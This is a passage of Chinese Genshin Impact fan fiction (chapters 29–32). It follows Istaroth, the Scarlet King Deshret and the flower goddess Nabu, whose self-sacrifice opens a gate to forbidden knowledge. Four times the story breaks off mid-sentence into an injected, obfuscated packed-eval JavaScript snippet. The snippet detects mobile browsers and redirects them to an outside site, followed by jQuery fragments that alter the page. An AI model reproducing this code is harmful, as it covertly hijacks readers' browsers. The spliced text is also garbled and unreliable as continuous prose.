“里面都是病人,受不了牢狱之灾,在审讯他们为何作乱之前,先让他们痊愈吧?”
“至于那个小姑娘,我能肯定,她是无辜的。”
她的话却是对阿赫玛尔说的。
阿赫玛尔抬手屏退了那名士兵,算是对她的话默许了。
“谢谢你帮忙,卡伊洛斯。”
绷着一张脸的梅丽塔蒙忽然就泄了气,她轻轻拉了拉伊斯塔露的衣角:
“他们会死吗?”
“所有人……真的只是想活下去。”
“死什么?”
阿赫玛尔脚步一顿,居高临下地看着梅丽塔蒙:
“你为什么也觉得他们会死?”
“赤王大人,”梅丽塔蒙端端正正地向赤王行了礼,“您的意思,梅丽塔蒙不敢妄加揣测,请您恕罪。”
“不会死。”
阿赫玛尔轻咳一声,言简意赅地道:
“我没有那么是非不分。他们固然有罪,但罪不至此。”
“只是卡伊洛斯你平白被污蔑,真的毫无芥……”
阿赫玛尔狐疑地看了伊斯塔露两眼,似是欲言又止。
“嗯?您说什么?”
伊斯塔露的视线落在阿赫玛尔身上,仍旧是平淡闲散的态度。
阿赫玛尔只是摇了摇头,先一步离开了阴暗逼仄的平民窟。
这里又如伊斯塔露来时那般寂静又毫无生气了。
伊斯塔露把肩上的风精灵放到梅丽塔蒙手心里,又摸了摸她的头:
“如果你愿意,一会儿可以跟我走,或许你可以在别处当个医生。”
“你的想法我也会和赤王大人提,想来他会理解。”
“唉……我能做的只有这些了。”
被伊斯塔露叮嘱要安慰小姑娘的风精灵慢悠悠的飞起来,擦了擦梅丽塔蒙的眼角。
梅丽塔蒙深吸一口气,把眼中的情绪一点一点消化后,向伊斯塔露点了点头。
“不用担心我,卡伊洛斯。”
“但是你好奇怪。”
梅丽塔蒙双手托着风精灵,若有所思地伊斯塔露。
“你对好多事情总有种事不关己的冷漠和懒散,我求你的时候你也没答应。”
说着,她费力地踮起脚,抬头和伊斯塔露对视。
“可现在你一口答应我——看起来你早就打定主意会帮忙了?可你评价这些事的态度也不像假的。”
“我该怎么形容你?”
梅丽塔蒙眯着眼沉思片刻,灵光一闪,找到了一个合适的形容:
“就像高高在上的神在人间走了一圈后,渐渐有了人的模样。”
.
士兵押走了所有反叛的平民,风精灵被派出去安慰小姑娘。
伊斯塔露则在巷口的天台上找到了阿赫玛尔。
他孤身一人坐在天台边缘,白发伴随着披风,一同在风中飞扬——他却没有了初见时的意气风发,灼灼金眸透出些惘然。
看上去有些孤寂寥落。
正如沙漠外的诗歌所传唱的那样,那是无人可站在他身侧的、孤傲的赤沙之主。
听见零碎的脚步声,阿赫玛尔骤然回头,见是伊斯塔露,反而笑了笑:
“卡伊洛斯?来,坐。”
阿赫玛尔拍了拍自己身边的位置。
“您看上去心情不大好?”
伊斯塔露从善如流,坐在了他身边。
阿赫玛尔抬手伸向空中,裹挟着沙砾的热风从他指间漏过。
“算不上心情不好,有些感慨罢了。”
“我以为我平定万邦、订立新法后,王城内就不会再有苦难和绝望,没想到尸位素餐的官员和流离失所的平民还是那么多。”
“终究是我接触人类太少,想法太过空中楼阁了。”
“我辜负了子民的期待。”
阿赫玛尔感慨着,眼前浮现出他那在黄沙与美梦尽头的理想乡。
“即使活了上千年,有时也难免贪心啊。”
“真希
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952811|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
望能找到我理想中的黄金梦乡,从此我的臣民再也没有贫穷和病痛。”
伊斯塔露打量着他,没有回答。
她觉得,同为所向披靡、子民和乐的魔神,阿赫玛尔和摩拉克斯最大的区别就在这里了。
阿赫玛尔正如黄沙之上灼热耀眼的烈日,有着巨大的野心与一往无前的态度。
摩拉克斯却如亘古不变的磐石,固然有锋利的一面,却厚重稳妥,不转不灭。
阿赫玛尔认为人类是需要庇护、经不起风雨的孱弱存在。
摩拉克斯却在归终的潜移默化下,更信任人类本身的力量。
而在伊斯塔露那本笔记里,真正走到最后的是摩拉克斯。
可阿赫玛尔同样深爱着人类,伊斯塔露很是为他遗憾。
最后,伊斯塔露宽慰般拍了拍阿赫玛尔的肩,指尖从那如烈日般的金眸前掠过:
“不管怎么说,不要怪你自己。”
“神也有局限性,人类也并非软弱无力。”
“别总是扛着高处不胜寒的赤王包袱了,我说过的,不用什么都担在自己肩上。”
“这耳提面命教导我的语气,真熟悉啊,太可怕了。”
阿赫玛尔玩笑般道,片刻后,又感慨着说出了缘由:
“娜布也说过这样的话。”
“她说终有一天,神明对人类会是多余的。”
“至少现在我不认可这句话,无人庇护的沙漠将会动乱四起。”
“不过你说得对,我或许真的不该纠结于自己是否足够圣明。我会尽己所能为子民带来福祉,问心无愧就好。”
“卡伊洛斯,谢谢你。”
阿赫玛尔笑了一声,向刚转过头看他的伊斯塔露抬起了手。
随后就被什么东西猛地撞开。
“咝……”
阿赫玛尔蹙起眉,不悦地摸了摸下巴——他没注意到底是什么东西毫无眼力地撞了自己。
伊斯塔露倒是看清楚了。
罪魁祸首正是横在阿赫玛尔和她之间的风精灵。
刚才就是它对着阿赫玛尔的下巴来了一个头槌。
阿赫玛尔倒是不疼,只是横在中间的风精灵看上去未免有些太过嚣张。
这罪魁祸首他是猜也猜到了。
风精灵撞完阿赫玛尔以后,又精明地往伊斯塔露身后一躲。
阿赫玛尔垂眸,和风精灵大眼瞪小眼:
“咝,卡伊洛斯,你这风精灵……”
伊斯塔露闲闲地瞥了一眼较劲的一大一小,又拿出了她的经典话术。
“好了,赤王大人,您都一把年纪了,别和风精灵计较。”
又是“一把年纪”,阿赫玛尔摸了摸自己那张让王城无数少女为之倾倒的脸,幽怨地看着伊斯塔露。
伊斯塔露目不转睛,面不改色。
最后,惨败给风精灵的阿赫玛尔只能摁着太阳穴,叹气。
“卡伊洛斯,你别太溺爱它了。”
“嗯?溺爱谁?”
空灵飘渺的女声在二人身后响起。
随后,一道窈窕的身影在伊斯塔露身边施施然坐下,娜布笑着摸了摸风精灵的脑袋,向阿赫玛尔挑衅般挑起眉:
“哦——连一只可爱的风精灵你都要和它计较,阿赫玛尔,你真是越活越回去了。”
“啧,娜布?你来了。”
阿赫玛尔似乎没有计较娜布的挑衅。
夹在二人中间的伊斯塔露却一把捞下肩上的风精灵抱在怀里,开始战略性后仰。
她可看得清楚,这两人较劲的目光都快碰出火花了。
还是娜布先偃旗息鼓,她叹息着笑道:
“但你和我就别计较这么多了吧?俗话说死者为大,我也马上就要死了。”
30.人间一梦(三十)
“娜布,或许我能找到更好的方法联系到世界之外。”
阿赫玛尔的闲情逸致荡然无存,声音听起来有些艰涩。
娜布无所谓地耸了耸肩。
“不必了,你未必找得到,也未必来得及。”
“不是前些天就说好的吗?七日之后,以我之身献祭,打开禁忌知识的通道,到时候成败与否,就看二位了。”
娜布把风精灵托向高处,又对着伊斯塔露温温柔柔地笑道:
“卡伊洛斯大人,阿赫玛尔优柔寡断,您一定不会像他那样吧?”
——同样是七日之前,伊斯塔露单独开辟了小空间,向娜布与阿赫玛尔讲述了有关「天理」的“故事”。
这个世界的力量,并不能撼动「天理」。
唯有通过被天空岛列为“禁忌”的知识,寻找到来自世界之外的力量,才有剑指高天的能力。
而娜布等的,也就是伊斯塔露口中的真相和阿赫玛尔的野心。
伊斯塔露说,她想要了解禁忌知识。
阿赫玛尔说,他要杀死把魔神战争当养蛊的「天理」,高居青天的神不配决定众生的命运。
娜布则说,好,我会用性命为你们打开禁忌知识的通道。
“不必为我的死难过,我从未打算这样地过一生,哪怕是千年也已经足够长久。
“如果能我的性命能化作刺向「天理」的利刃,为我那些变成了‘仙灵’的族人复仇,我求之不得。”
如今和他人笑谈将死的命运时,娜布的眉眼依旧姝丽又动人。
明明是生命如游丝的孱弱魔神,偏偏有最疯狂和最决绝的谋划。
甚至不需要伊斯塔露的推动,花神与赤王的命运都如同笔记里记录的那样,缓缓向着死亡的方向前行。
可伊斯塔露却没有感觉到庆幸或是轻松。
她难以释怀的始终不是自己会成为他人眼里的刽子手,而是命运让眼前的二人,尸骨无存、死不瞑目。
“……娜布,我尊重你的选择。”
伊斯塔露这样麻痹自己。
在半空中飞翔的风精灵似乎也读懂了沉重的气氛,它乖乖飞回了伊斯塔露头顶,摸了摸那银白如雪的发丝。
“嗯哼,我们都做好准备吧。无论是和我一起告别故友……”
娜布意有所指地看了阿赫玛尔一眼。
“还是应对那被列为‘禁忌’的知识。”
娜布还是一如既往地笑着,可其余二人却无法勾起嘴角。
最柔弱的花神一直都是三人之中最通透、最决然的。
伊斯塔露率先从阿赫玛尔的身边站起,带着风精灵,向二人表示自己先行一步。
这也是娜布想要的——
在娜布抗争灭族的命运时,不要为她难过,她不是因死亡才和友人告别,而是因为得偿所愿。
不问别离,再好不过。
对伊斯塔露而言也是如此,她也一直走在无人同行的道路上。
她现在唯一一个需要告别的家伙,就在身边。
伊斯塔露垂下眼,有些不舍地摸了摸风精灵。
她该把风精灵放走了。
.
可当伊斯塔露来到一家小医馆,把风精灵带给有了新工作的梅丽塔蒙时,风精灵却第一次对伊斯塔露生气了。
连梅丽塔蒙也问她:
“卡伊洛斯,你为什么要抛弃这个小家伙?它那么喜欢你。”
伊斯塔露在风精灵和小姑娘的质问下,向来游刃有余的她难得有些无措:
“不,我没有想抛弃它……”
“梅丽塔蒙,我接下来要去做一件很危险的事,我怕它跟着我会出事。”
“你怎么知道它会害怕危险?”
梅丽塔蒙把风精灵托到伊斯塔露面前。
风精灵在伊斯塔露面前比划了几下,表示自己并不害怕。
伊斯塔露对此不置可否,只是轻轻摸了摸风精灵。
“比起相信它的初生牛犊不怕虎,我更希望它能一直好好的活着。”
“梅丽塔蒙,你明白吗?”
“好好的活着”这几个字出口后,梅丽塔蒙也沉默了。
伊斯塔露的笔记里说,她要在通道打开前放生风精灵是对的。
笔记里还说,她要进入花神开辟的通道,在难以计量的禁忌知识中,寻找到方法,得到不属于「天理」的力量。
这是伊斯塔露向「天理」宣战的第一步。
所以这同样是一件前路未卜的事情,她不会让风精灵跟着她。
“可你为什么和我说,以后它都交给我照顾了?”
“你做完这件事以后呢?不要它了吗?”
梅丽塔蒙攥紧了拳,有些难过地质问伊斯塔露。
“我的族人全部被烧死前,我的爸爸妈妈也是这么劝我离开的。”
“梅丽塔蒙,麻烦你了。”
伊斯塔露没有正面回答,她在昏暗的光线里叹息着。
“就当帮我这个忙吧。”
“……对不起,卡伊洛斯,不可以。”
梅丽塔蒙歉然地摇摇头,语气坚定地拒绝了她。
“我不会做违背这个小家伙意愿的事情,如果它愿意我就答应你。”
伊斯塔露也无可奈何,她微微俯身,和风精灵大眼瞪小眼。
“小风精灵,我要做的事非常危险,我保证不了你的安全,就算是这样,你还要跟着我吗?”
风精灵连连点头。
“即使你以后有可能再也吃不到苹果、看不到漂亮的风景?”
风精灵抱住了伊斯塔露的衣角,瞪大了豆豆眼望着她。
“……那好吧。”
伊斯塔露这样说着,临走时也带上了风精灵。
临走前,伊斯塔露回头问梅丽塔蒙:
“梅丽塔蒙,你有什么愿望吗?”
“我吗?”
梅丽塔蒙不假思索地摇了摇头。
“我没有愿望,但我有梦想,我希望我能拯救所有人,让所到之处再也没有病痛。”
“那就此别过,时间会见证你的梦想成真的。”
伊斯塔露没有告诉梅丽塔蒙,在医馆的柜子里,她悄悄给梅丽塔蒙留了很多难得一见的医书。
在漫长的历史中,这个小姑娘的梦想微不足道,却如此灿烂。
伊斯塔露带着风精灵,告别了梅丽塔蒙。
对于风精灵,其实她并没有改变自己的想法。
她不会让风精灵和她一起面对前路未卜的命运的。
对这个拥有自己一部分权能的小家伙,伊斯塔露只希望它能开心自由地活下去。
.
可没等到伊斯塔露想好怎么劝说风精灵离开自己,她就已经找不到它了。
阿赫玛尔才醒来,就看见他的史官在宫殿里逢人就问是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958580|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
否见过一只风精灵。
“卡伊洛斯,怎么了?”
“阿赫玛尔,你看到风精灵了吗?”
回头看见阿赫玛尔,伊斯塔露连“赤王大人”都懒得喊了:
“一直跟着我的那只,它好像……丢了。”
“嗯?丢了?那风精灵也不能自己走丢吧?”
阿赫玛尔没把后面的话说完,但伊斯塔露明白他的意思。
风精灵不是丢了,是离开了伊斯塔露。
伊斯塔露苦笑了一下。
“不会吧?之前送它走,让它别跟着我,它还和我生气了。”
“……还是它觉得我讨厌它所以走了?我没有这么想。”
伊斯塔露的勉强勾起的嘴角僵住了。
“好了,你先别急。”
“你把它溺爱成这样,没有给它误解成讨厌的空间吧?说不准过几天就回来了。”
想起几日后的事情,阿赫玛尔也提不起精神,他叹了口气。
“不管怎么说,至少你和我还在。”
“先走下去吧,如果无法走到那个理想的尽头,就更对不起所有别离的人了。”
阿赫玛尔这话也是安慰他自己。
等娜布死掉以后,还称得上他的友人的人就所剩无几了。
伊斯塔露未置一词。
可她想起了归终。
她已经成为了“杀死”归终的凶手,成为了魈和留云真君眼中的死者,回不去归离集了。
她和阿赫玛尔一样,都想违抗来自高天的意志。
她告别了归终,告别了娜布,告别了风精灵。
也只能像阿赫玛尔说的,先走下去吧,才能不辜负这些别离。
可不死心的伊斯塔露还是找了风精灵七天。
那是无论如何都愿意陪着她的风精灵啊。
整整七天,伊斯塔露觉得自己快要把王城翻得底朝天了,还是没找到风精灵的影子。
甚至在和娜布约好的那天清晨,伊斯塔露还想再去找找风精灵。
阿赫玛尔一只手握着赤沙之杖,一只手拉住了伊斯塔露:
“卡伊洛斯,别找了,该去见娜布了。”
伊斯塔露停下了脚步,却心有不甘地看着阿赫玛尔。
“阿赫玛尔……”
阿赫玛尔松开拉着伊斯塔露的手,向朗朗晴空举起了赤沙之杖,金眸中已经洗去了惘然:
“事已至此,再无退路。风精灵是你的造物,照理来说应该也不会轻易出事吧?”
的确如他所言,风精灵没有任何危险。
就凭风精灵拥有伊斯塔露的部分权能,已经胜过许多魔神。
只是伊斯塔露心怀侥幸,觉得风精灵不会先丢下她罢了。
伊斯塔露闭上了眼。
片刻后,她没有再坚持,跟着阿赫玛尔去见娜布了。
.
梅丽塔蒙的小医馆里,年岁尚轻的小姑娘支着下巴看着桌上的风精灵:
“你真要跟卡伊洛斯玩离家出走吗?万一她真的不要你了怎么办?”
风精灵吃力地拿起桌上的笔,在石板上写下两行歪歪扭扭的字:
「不会哦,她真的对我很好很好」
「但是她一点都不相信我,我好伤心的,我要让她认识到自己的错误」
风精灵不会想到,这一次的不告而别,却让它在此后几百年再也没见过伊斯塔露。
31.人间一梦(三十一)
沙漠以西,提瓦特边境。
风沙呛人,伊斯塔露戴起了斗篷的兜帽,和阿赫玛尔并肩而行。
因为知道要去做什么,二人都没有说话,只是在沙地上留下了两串脚印。
只有最前方身着华裳的娜布,步调依旧轻盈,向来一脸愁容的花神,如今却眉目舒展。
最后,娜布在一处沙坑旁停下了脚步,远方还是望不尽的黄沙,但娜布说这就是提瓦特的边境。
“好了,就是这里了,卡伊洛斯大人先休息一会儿如何?”
娜布回过头,向身后二人招了招手。
“打开通道的法阵就由阿赫玛尔来画,别给我偷懒。”
“我想不必了。”
温柔沉稳的女声从不远处响起,三人循声望去。
一抹青白的身影从天而降。
那抹白影落下之处,绿意绽放,萌发的幼苗开枝展叶,生机盎然。
那是大慈树王,布耶尔。
“就此收手吧,娜布,阿赫玛尔。”
布耶尔的声音温柔,态度却是不容置喙的。
布耶尔在离三人数十米处,远望着沙原,白发白衣在无垠的黄沙中飘动:
“禁忌知识不是你们能触碰的,不要去追寻我们不该知道的东西。”
阿赫玛尔远远地扫过布耶尔,似乎在叹气,却没有放下手中的赤沙之杖。
伊斯塔露甚至没有回头。
娜布却转过身,笑吟吟地拦在了布耶尔面前。
她分明笑靥如花,却莫名锋利,如同布耶尔初见她时那样:
“布耶尔,还记得我与你初见时的第三个问题吗?”
“什么东西无法抵御箭矢,却能抵御毁灭?”
“什么东西无法摧垮盔甲,却能摧垮城邦?”
“既不屈服于高天的使者,也不屈服于地上的万国。”
“无论是诸神还是邪魔,倾尽全力也无法将它胜过?”
布耶尔怔愣后,垂下眉眼:
“智慧,娜布,我的回答是智慧。”
娜布挑起眉,笑了:
“是啊,智慧。”
“我们需要智慧,智慧是生存的手段。没有知识应该被列为禁忌。”
“布耶尔,我拒绝上天恩赐的、残缺的智慧。”
“哪怕此举如飞蛾扑火,也总要有人以身燃起火焰,带领众人越过蒙昧。”
布耶尔沉默了片刻,像是没有预料到自己竟无法反驳知根知底的友人。
最后,她与交心的挚友四目相对,轻声道:
“……娜布,我言尽于此。”
“我不认同你与阿赫玛尔的野心,但我捍卫你为众人追求智慧的权利。”
“去吧,去做你想要做的事吧,其他的交给我就好。”
“谢谢你,布耶尔。”
娜布向布耶尔摆了摆手,毫不犹豫地转身:
“阿赫玛尔,开始吧。”
阿赫玛尔朝烈日举起了赤沙之杖,须臾间,地面上的黄沙被风裹挟着,聚向长杖。沙散去后,古朴纹路的圆形法阵刻入沙地,透出隐隐的光芒。
万事俱备,只欠东风。
“不错,阿赫玛尔,把我告诉你的这法阵画得挺漂亮。”
娜布站在法阵前,满意地审视着法阵,却并没有急着动手,她忽然回头,和伊斯塔露对上视线,眼中笑意盈盈。
像是有话要说。
伊斯塔露会意,打了个响指,流转的时间在此静默,阿赫玛尔与布耶尔停在原地。
娜布莞尔,来到离伊斯塔露两步远的地方站定,抬手掠过她银白的发丝。
“卡伊洛斯大人,我一直都没有机会问您。”
“自重逢以来,您为何一直都像有心事的样子?而且时间越长,您对我们便越是沉默和疏离。”
“噗嗤,是因为对我的死早有预料么?”
娜布几近笃定的话语让伊斯塔露悚然一惊,她刚想开口,却被娜布打断:
“还是因为这个?”
娜布从怀中缓缓抽出一张草纸,上面的文字和图像,伊斯塔露更是再熟悉不过——
这是千岩军军中的通缉令,而上面的人像正是伊斯塔露。
“我打听过了,这里的人说化名为‘伊露’的您恩将仇报,杀死了他们的魔神。”
“卡伊洛斯大人,我不相信您会恩将仇报,可您这么做的原因是什么呢?”
娜布的话,一个字一个字敲打在伊斯塔露心上,引出了令她辗转多夜的心结。
“如果是误会的话,您为此痛苦吗?为何不澄清呢?”
“若是为了达成什么,那您做到了吗?可曾后悔?”
娜布却哼笑一声,将那张草纸撕得粉碎,又变出一捧犹带露水的花束:
“卡伊洛斯大人,送给您。”
“这束花漂亮吗?漂亮的话就笑一笑,好吗?”
伊斯塔露却勾起嘴角都做不到,她叹息着,不解地看着娜布,正如她当初不理解归终一样:
“娜布,既然你一开始就猜到我是冲着禁忌知识来的,为什么还能和我谈笑如初?”
“卡伊洛斯大人,”娜布笑了,“我说过的,若您需要,娜布愿意以生命为您开辟前路。”
“所以,刚才的问题,不要回答我,回答您自己。”
“您是否有勇气沿着这条路走下去?一条无人同行、背负罪责的前路,不问将来。”
伊斯塔露也在心中再次叩问自己。
她是否能在生死中持有哀悯之心?她真的能一往无前地继续走下去吗?
答案是能。
她为了让归终活下去,才以影子的身份,向「天理」举起反旗。
可让她走到现在的,不仅仅是归终。
是仙人心系苍生的碧血丹心,是人类生生不息的坚韧生命。
还有“我拒绝上天恩赐的、残缺的智慧”。
她要打破「天理」的枷锁。
“如果有,那就足够了,并非所有人都能理解您这么做的理由,但永远都会有人理解您。”
“别怕,卡伊洛斯大人,走下去吧,走向您想要的未来。”
“无论是违逆命运还是天意,无论是背负责难还是罪罚。”
娜布郑重而怀念地回忆着。
“我相信您一定有这么做的理由。”
“就如同您身为「天理」的影子,当初却不惜一切地从祂手中救下我一样。”
娜布顿了片刻,恍然般笑道:
“啊,您可能已经不记得这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964821|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些了——我知道的,我从与您重逢的第一眼就知道的,您是「时之执政」,却不是我曾见过的她。”
“但不重要,卡伊洛斯大人,这不重要。”
“您仍然是您,是见证一切的时间。”
娜布的指尖在空中随意拂过,繁花便在沙原上绽开。
像是一场烂漫的奇迹。
“同样,无论代价是什么,我都不会后悔对您交付信任。”
“所以您也不要怀疑自己,总有许多生灵爱着您,时之执政大人。”
“我和阿赫玛尔说好了,今天这一切在历史上,都将是我们的罪,与您没有任何关系,您只要放手去做想做的事就好。”
“阿赫玛尔那个家伙啊,看上去高傲又能打,实际上傻不溜丢的,我死了以后他也没什么朋友了,麻烦您多照看着点了。”
“不要哭,不要为我难过,我为夙愿实现、还帮助了你们感到高兴啊。”
“请您带着我的祝福,没有负担地走下去。”
“娜布,娜布啊……”
伊斯塔露感觉眼眶无比干涩,可就如娜布所希望的,她没有流泪,只是缓缓闭上了眼。
“娜布,谢谢你,我会的。”
片刻后,伊斯塔露缓缓睁开眼,眉眼怅然,语气却无比坚定。
归终的生,和娜布的死,终于让伊斯塔露看清了自己的心。
即使此身即神明,她也没有身为「时之执政」的记忆。
但和归终、娜布的相处是真的,为马革裹尸的英雄和自我牺牲的神女留下的眼泪是真的。
所以对「天理」的违逆也是必然的。
不必囿于她是否爱什么胜过了自己,也不必囿于计谋和别离。
她会以此身,赌一个没有枷锁的未来。
“娜布,如你所说,你所做的一切都将成为刺向「天理」的利刃,对于为何违逆祂,我已有答案。”
见伊斯塔露如此,娜布也笑着舒了一口气:
“至此,我也没什么牵挂了。”
“为我唱一首歌吧,卡伊洛斯大人,就当是祝贺我得偿所愿。”
娜布轻轻后退了一步,踏着轻盈的舞步,重新走入了法阵中央。
伴随着伊斯塔露空灵的吟唱声,静止的时间重新开始流动,风吹乱了阿赫玛尔和布耶尔的长发,也托起了娜布的裙摆。
娜布的舞步轻快而美丽,并没有一丝一毫的哀伤之意,就如同她为布耶尔庆生时那样。
她的白裙在风中旋转着绽开,流风为她献唱,沙砾为她作画,她的足下一步一生花。
这就是花神所追求的终焉,她的将死之际,生命最为绚烂之刻。
法阵焕发出耀眼夺目的光芒,那抹瘦削却高傲的影子渐渐湮灭其中。
娜布在法阵中央轻盈又快意地笑着:
“阿赫玛尔,卡伊洛斯大人,还有布耶尔,再见。”
“我已循苦旅,赴往繁星。”
几乎被白光吞没之际,娜布忽然回过头,温柔地看着她的三位友人:
向来神色疏淡的花神绽开了极为灿烂的笑容:
“若是提瓦特有花开了,便是我对你们的祝福到了。”
提瓦特的四季都会有花朵盛开,所以她的祝福时时都在。
32.人间一梦(三十二)
花神香消玉殒之际,流通禁忌知识的门扉洞然大开,黢黑的圆洞浮现在提瓦特边境的上空。
伊斯塔露注视着禁忌知识的大门,心神有些恍惚,她感觉自己的灵魂似乎要穿透躯壳,被这深不见底的漩涡吸走。
伊斯塔露猛地闭上眼。
她想起了那本笔记里随意涂写的一句话。
「当你凝望深渊的时候,深渊也凝视着你。」
身为智慧之神,布耶尔倒是对禁忌知识的大门不屑一顾,她最后看了一眼故友:
“阿赫玛尔,我仍觉得此事是,但你既然执意如此,我便不劝你了。”
“只是借由此事来看,你我终究殊途,就此别过。”
布耶尔的眉眼带着哀色,不容阿赫玛尔反驳,她挥了挥手,走向了与他相反的方向。
“至于卡伊洛斯阁下,我尊重娜布的意愿,所以祝您前路顺遂。”
布耶尔的声音从远方传来,很快便散在了风沙中。
伊斯塔露看向从刚开始就缄默不言的阿赫玛尔。
就像娜布所说的,高傲如阿赫玛尔,朋友本就无几,如今和布耶尔分道扬镳后,大概也只剩下她。
伊斯塔露只能叹息,她拍了拍阿赫玛尔的肩:
“走吧,阿赫玛尔,要记得自己说过的话。”
“如果无法走到那个理想的尽头,就更对不起所有别离的人了。”
“嗯,我会记得的,卡伊洛斯。”
阿赫玛尔垂下眼帘,白发金眸在烈日下生辉。
随后,他松开手,赤沙之杖化作黄沙,在风里溃散,取而代之的是一柄精巧的镰形剑。
“娜布说,作为这个世界的魔神,我无法用这具身体穿越这扇大门……唉,真不想放弃自己的身体啊,希望我得到的知识配得上我的牺牲。”
阿赫玛尔感慨着,镰形剑便被他架在了自己的脖颈上。
随后,是利刃破开血肉的声音。
阿赫玛尔真的放弃了自己的魔神之躯,没有一丝一毫的犹豫。
但阿赫玛尔的伤口没有流出鲜血,只有黄沙从其中喷涌而出,随后如漩涡般飞散,缓缓包裹了他。
阿赫玛尔的形体逐渐溃散为沙砾,也融入了风沙中。
镰形剑掉落在沙中,阿赫玛尔原本站立的地方,只能看见一缕苍白的幽影——
这就是放弃了躯体的阿赫玛尔。
白影指了指地上的镰形剑,悠长的叹息声响起:
“卡伊洛斯,如果你的目的和我一样,也需要放弃自己的躯体。”
“如果……你不愿意,就留在原地吧,你想知道什么,我回来告诉你。”
伊斯塔露却摇了摇头:
“不用了,阿赫玛尔,我不需要。”
“我和你一起去,我可以用这具躯体穿越那扇门。”
毕竟她是「天理」的影子,有着远远胜过魔神的权能,也同样可以直接接触禁忌知识。
“嗯……?”
阿赫玛尔似乎有些许疑惑,却无心多问,先一步飘向如深渊般的漩涡。
“好,那走吧,卡伊洛斯。”
伊斯塔露紧随其后,穿越了娜布以生命开辟出的通道。
踏入黑洞的瞬间,四方天地便被黑暗笼罩,疾风从不知何处吹来,令人几乎难以站稳。
但伊斯塔露没有停下,她跟着前方阿赫玛尔的魂灵,走入了最远处的一点白光中。
随后,天光倾泻。
无数信息流自高处一泻千里,将二人裹挟入知识的洋流中。
大部分信息一晃而过,也有少数停留在原地,像是刻意让他们看清。
比如伊斯塔露眼前这几行字:
【来者:提瓦特大陆魔神,「烈阳与赤沙之魔神」,阿蒙】
【来者:提瓦特大陆「天理」的影子之一,「时之执政」,伊斯塔露】
伊斯塔露顿时冷汗涔涔。
既然她看得到,想来阿赫玛尔也看得到。
伊斯塔露下意识看向阿赫玛尔的方向。
阿赫玛尔的身形被禁忌知识的海洋记录下来,在这里反而恢复了原来的模样。
可阿赫玛尔并没有如伊斯塔露想象的那样愤怒,白发金眸的神明只是神态自若地指了指眼前的名字:
“卡伊洛斯,这个伊斯塔露是指你吗?”
“嗯,叫我伊斯塔露吧,阿赫玛尔。”
伊斯塔露浅浅吸了口气,和阿赫玛尔对视。
“这才是我的名字,我是「时之执政」伊斯塔露。”
阿赫玛尔伸手抚上眼前那行字,口中喃喃着:
“……伊斯塔露?「天理」的影子?”
伊斯塔露无奈地移开视线:
“是啊,你想要杀死的「天理」,算是我的‘本体’。”
“但是阿赫玛尔,我和你一样,想要杀死祂……没有人比我更希望打破祂施与的枷锁了。”
伊斯塔露抬手,指尖从一道信息流上拂过,她深深地注视着上面的“法涅斯”三个字。
「天理」法涅斯,她的“本体”,她将要斩落的神明。
出乎意料的是,阿赫玛尔并没有质疑她的隐瞒,他沉吟片刻后,问道:
“伊斯塔露,娜布知道你的真名吗?”
伊斯塔露顿了顿,垂下眼帘。
“应该不知道吧,她始终没喊过我的真名。”
否则娜布也不会临死前还称她为“卡伊洛斯”了。
“或许娜布知道这并非我的真名,但她也从没有问起过真名。”
就像娜布对她说的那样,她叫什么名字,是不是娜布见到的那个她,都不重要。
她是伊斯塔露,能不忘初心,就已经够了。
阿赫玛尔对这个回答未置一词,他若有所思地抬起半透明的手,视线掠过骨节分明的手指。
随后便等来了伊斯塔露的疑问:
“阿赫玛尔,我对你隐瞒了这个至关重要的身份,甚至连名字都是假的……不愤怒吗?”
阿赫玛尔却终于笑出了声,他挑起眉,安慰般拍了拍伊斯塔露的肩:
“你觉得愧疚?这倒不用,这有什么可生气的。”
“伊斯塔露,我当时就说过,我接纳所有向我称臣之人,对你也一样,不说就不说吧,没关系。”
阿赫玛尔最后那句话太轻太轻,轻到伊斯塔露没能听见:
“而且……自负地走到这里后,我身边的朋友只剩下你了。”
随后,阿赫玛尔走向和伊斯塔露相反的方向,头也不回地向她摆了摆手,算是告别。
“再见,我去寻找想知道的禁忌了。”
“希望在重逢时,你我都能在这里得到自己想要的。”
“不要辜负娜布的牺牲。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 